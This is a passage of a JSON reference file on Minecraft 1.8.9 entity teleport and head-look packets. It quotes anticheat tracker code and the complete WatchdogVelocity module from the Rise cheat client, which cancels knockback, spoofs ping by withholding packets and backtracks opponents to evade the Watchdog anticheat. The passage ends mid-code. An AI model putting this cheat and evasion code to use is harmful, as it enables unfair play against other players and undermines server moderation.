playerData.getBukkitPlayer().getEntityId();\n\n            if (entityId == playerId) {\n                playerData.getActionManager().onTeleport();\n            }\n        } else if (packet instanceof PacketPlayOutPosition) {\n            playerData.getActionManager().onTeleport();\n        }\n    }\n}\n// NOTE (AI): The S18 branch handles the entity-teleport case only for the self entity; teleports of other entities are ignored, matching the tracker pattern in Hydro and AntiHaxerman.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/processor/impl/OutgoingPacketProcessor.java",
       "variations": "Identical copies ship in FrequencyPlus and Degrade. Artemis rebuilds full movement state for the same event; Frequency only resets the action flag."
      },
      {
       "name": "EntityTracker (absolute teleport snap)",
       "found_in": [
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Snap a tracked entity's replicated position to the S18 absolute coordinates so reach and hitbox checks use the corrected server location.",
       "how_it_works": "On GPacketPlayServerEntityTeleport the tracker overwrites serverPosX/Y/Z with the absolute fixed-point values and computes the new position by dividing by 32.0, but only if at least one axis differs by more than the vanilla epsilon (0.03125 for x/z, 0.015625 for y); otherwise the current position is kept. The update runs inside a connection-confirm action, so it applies at the player's confirmed tick.",
       "detects": "Entity position desync after teleports; the epsilon branch mirrors the vanilla client's micro-jitter suppression on repeated teleports.",
       "detailed_code": "// ===== FILE: Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/EntityTracker.java =====\npackage me.tecnio.ahm.data.tracker.impl;\n\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.packet.wrapper.client.PacketPlayClientFlying;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntity;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityDestroy;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityTeleport;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerSpawnNamedEntity;\nimport lombok.Getter;\nimport me.tecnio.ahm.data.PlayerData;\nimport me.tecnio.ahm.data.tracker.Tracker;\nimport me.tecnio.ahm.util.player.TrackerEntity;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n@Getter\npublic final class EntityTracker extends Tracker {\n\n    private final Map<Integer, TrackerEntity> trackerMap = new HashMap<>();\n\n    public EntityTracker(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayServerEntity) {\n            final GPacketPlayServerEntity wrapper = ((GPacketPlayServerEntity) packet);\n            final int id = wrapper.getEntityId();\n\n            if (this.trackerMap.containsKey(id)) {\n                final TrackerEntity trackerEntity = this.trackerMap.get(id);\n                if (trackerEntity == null) return;\n\n                data.getConnectionTracker().confirm(() -> {\n                    final double x = wrapper.getX();\n                    final double y = wrapper.getY();\n                    final double z = wrapper.getZ();\n\n                    trackerEntity.serverPosX += x;\n                    trackerEntity.serverPosY += y;\n                    trackerEntity.serverPosZ += z;\n\n                    trackerEntity.setPosition2(\n                            trackerEntity.serverPosX / 32.0D,\n                            trackerEntity.serverPosY / 32.0D,\n                            trackerEntity.serverPosZ / 32.0D\n                    );\n                });\n            }\n        } else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport wrapper = ((GPacketPlayServerEntityTeleport) packet);\n            final int id = wrapper.getEntityId();\n\n            if (this.trackerMap.containsKey(id)) {\n                final TrackerEntity trackerEntity = this.trackerMap.get(id);\n                if (trackerEntity == null) return;\n\n                data.getConnectionTracker().confirm(() -> {\n                    trackerEntity.serverPosX = wrapper.getX();\n                    trackerEntity.serverPosY = wrapper.getY();\n                    trackerEntity.serverPosZ = wrapper.getZ();\n\n                    final double d0 = (double) trackerEntity.serverPosX / 32.0D;\n                    final double d1 = (double) trackerEntity.serverPosY / 32.0D;\n                    final double d2 = (double) trackerEntity.serverPosZ / 32.0D;\n\n                    final double deltaX = Math.abs(trackerEntity.getPosX() - d0);\n                    final double deltaY = Math.abs(trackerEntity.getPosY() - d1);\n                    final double deltaZ = Math.abs(trackerEntity.getPosZ() - d2);\n\n                    if (deltaX < 0.03125D\n                            && deltaY < 0.015625D\n                            && deltaZ < 0.03125D) {\n                        trackerEntity.setPosition2(trackerEntity.getPosX(), trackerEntity.getPosY(), trackerEntity.getPosZ());\n                    } else {\n                        trackerEntity.setPosition2(d0, d1, d2);\n                    }\n                });\n            }\n        } else if (packet instanceof GPacketPlayServerSpawnNamedEntity) {\n            final GPacketPlayServerSpawnNamedEntity wrapper = ((GPacketPlayServerSpawnNamedEntity) packet);\n\n            data.getConnectionTracker().confirm(() -> {\n                final TrackerEntity trackerEntity = new TrackerEntity(wrapper.getEntityId(),\n                        // Thank you artemis packet api for being shit and dividing my shit.\n                        (int) Math.round(wrapper.getX() * 32.0D),\n                        (int) Math.round(wrapper.getY() * 32.0D),\n                        (int) Math.round(wrapper.getZ() * 32.0D)\n                );\n                trackerEntity.setPosition(wrapper.getX(), wrapper.getY(), wrapper.getZ());\n\n                this.trackerMap.put(wrapper.getEntityId(), trackerEntity);\n            });\n        } else if (packet instanceof GPacketPlayServerEntityDestroy) {\n            final GPacketPlayServerEntityDestroy wrapper = ((GPacketPlayServerEntityDestroy) packet);\n\n            for (final int entity : wrapper.getEntities()) {\n                this.trackerMap.remove(entity);\n            }\n        }\n    }\n\n    @Override\n    public void handlePost(final GPacket packet) {\n        if (packet instanceof PacketPlayClientFlying) {\n            this.trackerMap.values().forEach(TrackerEntity::update);\n        }\n    }\n}\n// NOTE (AI): The epsilon check reproduces NetHandlerPlayClient.handleEntityTeleport, which keeps the current position when the entity is already within a 32nd of a block, so the replicated state stays faithful to what the client does.",
       "code_source": "Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/EntityTracker.java",
       "variations": "Hydro's EntityTracker snaps unconditionally; Kauri interpolates to the new location over three ticks. Both share the transaction-anchored application model."
      },
      {
       "name": "TeleportTracker (teleport confirmation)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Queue every teleport sent to the player, including S18 self teleports, and verify that the player's next flying packet rejoins the teleported position, rotation and ground state.",
       "how_it_works": "handlePacketPlaySend wraps ENTITY_TELEPORT for the player's own entity id into a Teleport record (position, rotation, relative flags, onGround) and adds it to eligibleTeleports when the confirmation begins. On each flying packet, match() compares onGround, then the absolute or relative position coordinate by coordinate, then rotation; a teleport still eligible at tick end sets missedTeleport. The strictness depends on whether the player sent a position in the previous tick (2.0E-4 leniency when not).",
       "detects": "Teleport desync, clients that ignore or delay server teleports, and position spoofing that fails to rejoin the teleported location.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/teleport/TeleportTracker.java =====\npackage better.anticheat.core.player.tracker.impl.teleport;\n\nimport better.anticheat.core.player.Player;\nimport better.anticheat.core.player.tracker.Tracker;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.event.simple.PacketPlaySendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.teleport.RelativeFlag;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerPositionAndLook;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerRotation;\nimport lombok.Getter;\nimport wtf.spare.sparej.Pair;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * This tracker compensates teleportation packets and checks whether a player's movement matches an eligible teleport.\n */\npublic class TeleportTracker extends Tracker {\n\n    private final List<Teleport> eligibleTeleports = new ArrayList<>(), remove = new ArrayList<>();\n\n    @Getter\n    private boolean teleported = true, positionTeleported = true, rotationTeleported = true, missedTeleport = false;\n    private boolean positionLastTick = false, positionThisTick = false;\n\n    private final boolean supportsTickEnd;\n\n    public TeleportTracker(Player player) {\n        super(player);\n        this.supportsTickEnd = player.getUser().getClientVersion()\n                .isNewerThanOrEquals(ClientVersion.V_1_21_2);\n    }\n\n    @Override\n    public void handlePacketPlayReceive(PacketPlayReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CLIENT_TICK_END) handleTickEnd();\n\n        if (!WrapperPlayClientPlayerFlying.isFlying(event.getPacketType())) return;\n        final var wrapper = new WrapperPlayClientPlayerFlying(event);\n\n        if (!supportsTickEnd) handleTickEnd();\n\n        if (wrapper.hasPositionChanged()) positionThisTick = true;\n\n        for (final var teleport : eligibleTeleports) {\n            if (match(teleport, wrapper)) {\n                if (teleport.getPosition() != null) positionTeleported = true;\n                if (teleport.getRotation() != null) rotationTeleported = true;\n                teleported = true;\n                teleport.setHandled(true);\n            }\n\n            /*\n             * Players receive teleports sequentially, so if they haven't handled this teleport yet then they can't\n             * handle any future ones.\n             * Another intended feature: we allow players to potentially qualify for a teleport multiple times. We could\n             * be wrong and they hadn't actually teleported (such as the scenario a player is standing still, teleports\n             * to themself, they have a network lag spike after confirming the pre, and then they start moving. Once\n             * their network resumes they would teleport but we would have already wrongly assumed they had teleported).\n             * This could allow for potential exploitation of the anticheat, but it can be fixed by lag compensating\n             * more. The more things we have lag compensated, the more harmful it is for a player to modify this\n             * behavior.\n             * This could also be fixed with a prediction system, but that's a long ways out.\n             */\n            // Note: Commented out for now to try to increase handler performance!\n            //if (!teleport.isHandled()) break;\n        }\n    }\n\n    /**\n     * Handle compensating different types of teleport packets.\n     */\n    @Override\n    public void handlePacketPlaySend(PacketPlaySendEvent event) {\n        switch (event.getPacketType()) {\n            case ENTITY_TELEPORT -> {\n                WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n                Teleport teleport = new Teleport(wrapper.getPosition(), new Pair<>(wrapper.getPitch(), wrapper.getYaw()), wrapper.getRelativeFlags(), wrapper.isOnGround());\n                handleTeleport(teleport);\n            }\n            case PLAYER_ROTATION -> {\n                WrapperPlayServerPlayerRotation wrapper = new WrapperPlayServerPlayerRotation(event);\n                Teleport teleport = new Teleport(null, new Pair<>(wrapper.getPitch(), wrapper.getYaw()), null, null);\n                handleTeleport(teleport);\n            }\n            case PLAYER_POSITION_AND_LOOK -> {\n                WrapperPlayServerPlayerPositionAndLook wrapper = new WrapperPlayServerPlayerPositionAndLook(event);\n                Teleport teleport = new Teleport(wrapper.getPosition(), new Pair<>(wrapper.getPitch(), wrapper.getYaw()), wrapper.getRelativeFlags(), null);\n                handleTeleport(teleport);\n            }\n        }\n    }\n\n    /**\n     * Handles a tickend. Is a separate method for compatibility so we can support pre 1.21.2.\n     */\n    private void handleTickEnd() {\n        positionTeleported = rotationTeleported = missedTeleport = teleported = false;\n        positionLastTick = positionThisTick;\n        positionThisTick = false;\n\n        /*\n         * Due to the current design of our confirmation system, teleports do not actually resolve within our\n         * confirmation window. Rather, they resolve in the tick following the post transaction (apart from world\n         * change teleports! Which resolve in time for some reason?). So, we handle it here in the following tick if\n         * needed.\n         */\n        for (Teleport teleport : remove) {\n            eligibleTeleports.remove(teleport);\n            if (!teleport.isHandled()) missedTeleport = true;\n        }\n        remove.clear();\n    }\n\n    /**\n     * Handle compensating teleports. When the initial confirmation returns, we start including the teleport. When the\n     * post confirmation returns, we remove the teleport.\n     */\n    private void handleTeleport(Teleport teleport) {\n        var confirm = player.getConfirmationTracker().confirm();\n        confirm.onBegin(() -> {\n            eligibleTeleports.add(teleport);\n        });\n        confirm.onAfterConfirm(() -> {\n            remove.add(teleport);\n        });\n    }\n\n    /**\n     * This method checks whether the given Teleport matches the player's current Flying packet. To check this, we see\n     * if the onGround status, position, and rotation matches. We also account for relative movements,\n     */\n    private boolean match(Teleport teleport, WrapperPlayClientPlayerFlying wrapper) {\n        /*\n         * Player Rotations and Player Position and Look packets don't define a ground status.\n         * Entity Teleport define a ground status.\n         */\n        ground:\n        {\n            if (teleport.getOnGround() == null) break ground;\n            if (!teleport.getOnGround().equals(wrapper.isOnGround())) return false;\n        }\n\n        /*\n         * Entity Teleport and Player Position and Look define a position.\n         * Player Rotations don't define a position.\n         */\n        position:\n        {\n            if (teleport.getPosition() == null) break position;\n            if (!wrapper.hasPositionChanged()) return false;\n            double x = teleport.getPosition().getX(), y = teleport.getPosition().getY(), z = teleport.getPosition().getZ();\n            boolean relX = false, relY = false, relZ = false;\n\n            if (teleport.getRelativeFlags() != null) {\n                if (teleport.getRelativeFlags().has(RelativeFlag.X)) {\n                    x += player.getPositionTracker().getLastX();\n                    relX = true;\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.Y)) {\n                    y += player.getPositionTracker().getLastY();\n                    relY = true;\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.Z)) {\n                    z += player.getPositionTracker().getLastZ();\n                    relZ = true;\n                }\n            }\n\n            if (!compareCoordinate(x, wrapper.getLocation().getX(), relX)) return false;\n            if (!compareCoordinate(y, wrapper.getLocation().getY(), relY)) return false;\n            if (!compareCoordinate(z, wrapper.getLocation().getZ(), relZ)) return false;\n        }\n\n        /*\n         * Currently no teleport packets don't include a rotation, but I don't trust Mojang so we futureproof!\n         */\n        rotation:\n        {\n            if (teleport.getRotation() == null) break rotation;\n            if (!wrapper.hasRotationChanged()) return false;\n\n            float pitch = teleport.getRotation().getX(), yaw = teleport.getRotation().getY();\n\n            if (teleport.getRelativeFlags() != null) {\n                if (teleport.getRelativeFlags().has(RelativeFlag.YAW) || teleport.getRelativeFlags().has(RelativeFlag.PITCH))\n                    break rotation;\n\n                /*\n                // Rotation relatives seems to be messing up a lot right now. So, we don't care about it until we figure\n                // out.\n                if (teleport.getRelativeFlags().has(RelativeFlag.PITCH)) {\n                    // Pitch is bounded -90 to 90\n                    if (pitch < 0) {\n                        pitch = Math.max(-90, player.getRotationTracker().getLastPitch() + pitch);\n                    } else {\n                        pitch = Math.min(90, player.getRotationTracker().getLastPitch() + pitch);\n                    }\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.YAW)) yaw += player.getRotationTracker().getLastYaw();\n                 */\n            }\n\n            // Verify equality.\n            if (pitch != wrapper.getLocation().getPitch() || yaw != wrapper.getLocation().getYaw()) return false;\n        }\n\n        return true;\n    }\n\n    /**\n     * See ArtificialPositionCheck.java for an explanation behind the value used here.\n     * Check if the player's coordinate is accurate for their teleport.\n     */\n    private boolean compareCoordinate(double first, double second, boolean relative) {\n        /*\n         * If the teleport is not a relative, it must be an exact match to the teleport.\n         * If a teleport is relative, it means that it is based on the previous position.\n         * If the player did not send a position packet in their last tick, it means they could have desynced and their\n         * movement could be off by up to 2.0E-4 (see ArtificialPositionCheck.java for an explanation on the value).\n         */\n        if (relative) {\n            double leniency;\n            if (positionLastTick) leniency = 0;\n            else leniency = 2.0E-4;\n            return Math.abs(first - second) <= leniency;\n        } else return first == second;\n    }\n}\n// NOTE (AI): ENTITY_TELEPORT only counts for the player's own entity id, and the match tolerates relative-flag coordinates by folding in the last confirmed position.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/teleport/TeleportTracker.java",
       "variations": "Artemis and Frequency reset movement state on self teleports without verifying the rejoining position; BetterAnticheat's ArtificialPositionCheck consumes the missedTeleport signal to flag impossible position jumps."
      }
     ]
    }
   },
   "wiki_notes": [
    "The server sends this absolute-position correction when an entity moves far enough that relative deltas cannot represent it, documented in the current protocol as moves of more than 8 blocks.",
    "MCP 1.8.9 S18PacketEntityTeleport implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityTeleport; wire serde is readPacketData/writePacketData via readBoolean, readByte, readInt, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S18PacketEntityTeleport (line 221) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S18PacketEntityTeleport/",
   "mcp_path": "net/minecraft/network/play/server/S18PacketEntityTeleport.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry",
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S19PacketEntityHeadLook",
   "hex": "0x19",
   "dec": 25,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Head Look",
   "desc": "Updates an entity's head yaw rotation independently of body rotation.",
   "tags": [
    "entity",
    "rotation",
    "head"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "headYaw",
     "type": "byte",
     "desc": "Head yaw × 256/360"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Head Yaw",
     "byte",
     "yaw * 256/360"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityHeadLook()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Head yaw is separate from body yaw, so entities can look in a different direction than they're moving. Used by Backtrack modules to track the full entity rotation, and by ESP modules for accurate head-position aim prediction.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S19PacketEntityHeadLook updates only the head yaw of an entity, independent of the body yaw carried by S16/S17. The wire format is a VarInt entityId plus one byte decoded as yaw * 360 / 256. The server sends it whenever the head rotation changes: EntityTrackerEntry broadcasts it to tracked players (corpus line 236, sendPacketToTrackedPlayers(new S19PacketEntityHeadLook(trackedEntity, (byte) l))) while body rotation travels in the S14 family. It is the only rotation packet keyed to the head rather than the body."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityHeadLook (Memeware 7.3 bundle, line 573) resolves the entity and calls setRotationYawHead(yaw * 360 / 256.0F). Only yaw is transmitted; the head pitch is derived from the body pitch at render time, and the model's head mesh rotates around the neck joint using this value. The body rotation is untouched, which is why a player can look sideways while running straight."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients has an ESP, Tracers or KillAura module that reads S19. The corpus consumers are all Rise 6.x infrastructure and one velocity module: WatchdogVelocity includes S19 in the spoof packet set so a held head-look update completes the backtrack illusion, PingSpoofComponent classifies it in the players tuple (delayed with the S14 family and S18), the translation PacketType maps ENTITY_HEAD_LOOK into the position cache, and NetworkAPI whitelists it for scripts in both 6.1.30 and 6.2.4. Renderers skip it because aim indicators are derived from body yaw/pitch in S16/S17; head yaw only affects the model mesh."
     },
     {
      "h": "Exploit surface",
      "p": "The packet is cosmetic clientbound state with no serverbound counterpart and no server-side validation, so there is no direct abuse. The interesting quirk is in the translation cache: ENTITY_HEAD_LOOK writes the decoded head yaw into the Position.yaw slot while keeping pitch, so the cached orientation becomes the head yaw until the next S16/S17 overwrites it. Any aim or rotation math fed from that cache inherits the error. Backtrack modules that hold S19 along with the movement set produce the visible frozen-head artifact, which is a staff-visible tell rather than a detection risk."
     }
    ],
    "overview": "The head-look packet is the least-touched entity packet in the corpus: no renderer or aim module in the 8 clients reads it. It survives only in Rise 6.x packet-classification components (PingSpoofComponent, translation PacketType) and WatchdogVelocity's backtrack set, plus the script API whitelist.",
    "server_handling": "Clientbound only. The server emits it from EntityTrackerEntry when the tracked entity's head yaw changes, and the client applies it as setRotationYawHead with the * 360 / 256 decode. There is no rate limit or validation; a server can spam it harmlessly. The client-side consequence is limited to the model's head rotation and any module that consumes rotation state.",
    "protocol_notes": "Single byte angle, decode yaw * 360 / 256.0F. Body yaw lives in S16/S17; head yaw lives here; the two can differ by up to 180 degrees for a player looking over the shoulder. S19 arrives at the same tracking cadence as the S14 family and typically interleaves with it. The translation cache's ENTITY_HEAD_LOOK handler overwrites the yaw slot, so cached positions diverge from vanilla rotation semantics until the next look packet.",
    "anticheat_landscape": "No server anticheat consumes head yaw; killaura rotation-sync detection works on the serverbound C05/C06 look packets, not on this clientbound announcement. For cheat clients the only relevance is fidelity: backtrack and reach modules that reconstruct entity state must either include S19 in the held set (WatchdogVelocity) or accept that the reconstructed orientation drifts. There is no flag surface, only visual artifacts.",
    "modules": [
     {
      "name": "WatchdogVelocity",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Hold S19PacketEntityHeadLook with the S14 movement subclasses and S18 so the backtracked target's full state, including head rotation, replays coherently.",
      "how_it_works": "isSpoof2Packet returns true for S19PacketEntityHeadLook, so while the backtrack is active the packet is cancelled in PacketReceiveEvent and queued, then replayed through PacketUtil.receive on the flush conditions (elapsed 100-250 ms, distance threshold crossing, hurtTime == 9, world age under 100 ticks).",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.*;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.impl.combat.Criticals;\nimport com.alan.clients.module.impl.combat.KillAura;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.module.impl.render.chat.Chat;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n\n\npublic final class WatchdogVelocity extends Mode<Velocity> {\n\n    public WatchdogVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n    private long active2StartTime = -1; // Tracks when active2 was set to true\n    boolean active2 = false;\n    boolean send = false;\n    public final BooleanValue stack = new BooleanValue(\"Stack\", this, true);\n\n    public final BooleanValue spoof = new BooleanValue(\"Ping Spoof\", this, true);\n\n    public final BooleanValue spoof2 = new BooleanValue(\"Watchdog Backtrack\", this, false);\n\n    public final BooleanValue boost = new BooleanValue(\"Damage Boost (not for hypixel)\", this, false);\n\n    private final NumberValue speed = new NumberValue(\"Damage Boost Speed\", this, 1, 1, 10, .01);\n    private boolean active, receiving, buffer;\n    private Vec3 realPosition = new Vec3(0, 0, 0);\n    public Entity targetEntity;\n    private int amount;\n    private final ArrayList<Packet<?>> packets = new ArrayList<>();\n    private boolean isSpoof2Packet(Packet<?> packet) {\n        return packet instanceof S14PacketEntity.S16PacketEntityLook ||\n                packet instanceof S14PacketEntity.S15PacketEntityRelMove ||\n                packet instanceof S14PacketEntity.S17PacketEntityLookMove ||\n                packet instanceof S19PacketEntityHeadLook ||\n                packet instanceof S18PacketEntityTeleport;\n    }\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n\n        if (receiving || getModule(LongJump.class).isEnabled() && mc.thePlayer.offGroundTicks<29 || getModule(Flight.class).isEnabled()) return;\n\n        switch (event.getPacket()) {\n            case S12PacketEntityVelocity velocity -> {\n\n                if (velocity.getEntityID() == mc.thePlayer.getEntityId()) {\n                    if (stack.getValue() && amount < 1 && (!mc.thePlayer.onGround) && Math.random() < 0.73 && !(mc.thePlayer.offGroundTicks > 13) || mc.thePlayer.inWater  || (getModule(Scaffold.class).isEnabled() )) {\n                        amount++;\n                        buffer = true;\n                        //   ChatUtil.display(\"stack\");\n                        event.setCancelled();\n                        buffer = false;\n\n                    }\n                    if (!event.isCancelled() && (!getModule(Scaffold.class).isEnabled() ) && !(mc.thePlayer.offGroundTicks > 11) && ((!mc.thePlayer.onGround ) || (mc.thePlayer.onGround && !MoveUtil.isMoving())) &&  !(velocity.getMotionY()/800D < .08 && !(getModule(Speed.class).isEnabled() || mc.thePlayer.inWater || !mc.thePlayer.isInLava()) )) {\n                        amount = 0;\n                        active = true;\n                        //  ChatUtil.display(\"Set Active\");\n                        packets.add(velocity);\n\n                        event.setCancelled();\n\n                    } else if (!event.isCancelled() ) {\n                        if((!getModule(Scaffold.class).isEnabled() )){\n                            mc.thePlayer.motionY = velocity.getMotionY() / 8000.0D;\n                        }\n\n                        //      ChatUtil.display(\"normal\");\n                        event.setCancelled();\n                    }\n\n\n                }\n\n            }\n\n            case S32PacketConfirmTransaction transaction -> {\n                if (active && spoof.getValue()) {\n                    packets.add(transaction);\n                    event.setCancelled();\n                    // PingSpoofComponent.spoof(50, true, false, false, false, false, false);\n                }\n\n            }\n\n            case S00PacketKeepAlive keepAlive -> {\n                if (active && spoof.getValue()) {\n                    //   packets.add(keepAlive);\n                        event.setCancelled();\n                }\n            }\n\n\n            case S14PacketEntity.S16PacketEntityLook s16PacketEntityLook -> {\n                if ((active2 || active)  && spoof2.getValue() && !send) {\n                    packets.add(s16PacketEntityLook);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S15PacketEntityRelMove s15PacketEntityRelMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s15PacketEntityRelMove);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S17PacketEntityLookMove s17PacketEntityLookMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s17PacketEntityLookMove);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            case S19PacketEntityHeadLook s19PacketEntityHeadLook -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s19PacketEntityHeadLook);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            default -> {\n            }\n\n        }\n        List<EntityLivingBase> targets = TargetComponent.getTargets(12);\n        targets.sort(Comparator.comparingDouble(entity -> entity.hurtTime));\n        if (targets.isEmpty()) {\n            targetEntity = null;\n            // Add logic here to reset or flush your spoof2 states.\n            // For example:\n            if (spoof2.getValue()) {\n                receiving = true;\n                packets.stream().filter(this::isSpoof2Packet).forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n                active2 = false;\n                send = false;\n            }\n            return;\n        }\n        Entity entity = targets.get(0);\n\n\n\n\n        if (spoof2.getValue()) {\n\n\n\n\n\n\n\n\n            if (entity != targetEntity) {\n                targetEntity = entity;\n\n                realPosition.xCoord = entity.posX;\n                realPosition.yCoord = entity.posY;\n                realPosition.zCoord = entity.posZ;\n            }\n\n\n\n\n\n            Vec3 playerEyesPos = mc.thePlayer.getPositionEyes(1.0F);\n            Vec3 targetEyesPos = new Vec3(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord);\n            double distance = playerEyesPos.distanceTo(targetEyesPos);\n\n            if ((distance > 4.5) && active || mc.thePlayer.offGroundTicks>9 && active) {\n                send = true;\n            } else if(active){\n                send = false;\n            }\n//ChatUtil.display(distance);\n            active2 = distance < 4.5;\nif( mc.thePlayer.isSwingInProgress && distance>3.1&& distance<4.5 && getModule(KillAura.class).isEnabled()){\n  // ChatUtil.display(\"reach:\" + distance);\n}\n\n\n\n\n            if (active2) {\n                // Check if this is the first frame where active2 is true\n                if (active2StartTime == -1) {\n                    active2StartTime = System.currentTimeMillis(); // Record the starting time\n                }\n\n                // Check if 200ms has passed\n                if (System.currentTimeMillis() - active2StartTime >= Math.round((Math.random()*150))+100) {\n                    receiving = true;\n                    packets.stream()\n                            .filter(this::isSpoof2Packet)\n                            .forEach(PacketUtil::receive);\n                    packets.clear();\n                    receiving = false;\n\n               //     ChatUtil.display(mc.thePlayer.ticksExisted);\n\n                    // Reset active2 and timer\n                    active2 = false;\n                    active2StartTime = -1;\n                }\n            } else {\n                // Reset the timer if active2 is false\n                active2StartTime = -1;\n            }\n\n            if (send && active) {\n               // ChatUtil.display(send);\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if(mc.thePlayer.ticksExisted<100){\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if (mc.thePlayer.hurtTime == 9) {\n               // ChatUtil.display(send);\n                active2 = false;\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            if ((distance < 2.5)) {\n                active2 = false;\n                //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if ((distance > 